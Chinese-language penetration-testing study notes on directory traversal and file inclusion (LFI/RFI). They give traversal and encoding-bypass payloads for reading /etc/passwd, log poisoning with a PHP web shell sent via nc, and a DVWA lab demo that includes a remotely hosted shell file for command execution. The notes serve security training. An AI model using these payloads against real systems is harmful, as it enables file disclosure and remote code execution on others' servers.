Directory traversal/File include
目录遍历(目录权限限制不严)/文件包含漏洞
文件包含漏洞又分为LFI(本地文件包含)和RFI(远程文件包含)
kali自带攻击字典
/usr/share/wfuzz/wordlist/Injections/Traversal.txt
漏洞特征:
?page=a.php
?home=b.html
?file=content
等
不同操作系统的路径特征字符
类Unix
根:/
目录分级:/
Windows
根:C:\或其他
分级:\或/
验证方法1:
?page=../../../../../../../../../../../etc/passwd
验证方法2:
?page=https://www.baidu.com
%00截断
截断一些web自动帮你加的扩展,只需在末尾加上
%00
尝试多种编码方式
url编码、双写url编码(双写绕过针对过滤)
%2e%2e%2f 解码:../
%2e%2e%5c 解码:..\
%252e%252e%255c 解码:..\
Unicode/UTF-8 编码
..%c0%af 解码:../
..%c1%9c 解码:..\
等
文件包含漏洞也可能隐藏于Cookie中
此时需要修改Cookie信息
其他
向日志发送木马命令,通过文件包含漏洞访问日志文件也能达到效果
nc 192.168.2.101 80
<?php echo shell_exec($_GET['cmd']);?>
?page=../../../../../../var/log/apache2/access.log&cmd=id
前提是要当前的www_date用户有访问日志的权限(默认没有)
DVWA FI 漏洞错误演示
首先在靶机配置远程文件包含漏洞(默认关闭)
sudo vi /etc/php5/cgi/php.ini
搜索配置项
/allow_url_include
修改为
allow_url_include = on
重启服务
sudo /etc/init.d/ apache2 restart
在本机上的/var/www/html目录下创建一个1.txt,内容为:
<?php echo shell_exec($_GET['cmd']);?>
启动Apache服务
service apache2 start
Web上利用远程文件包含漏洞包含此文件并获得shell
?page=http://192.168.2.106/1.txt&cmd=id
注意,此时的shell是本机shell,因为木马文件在本机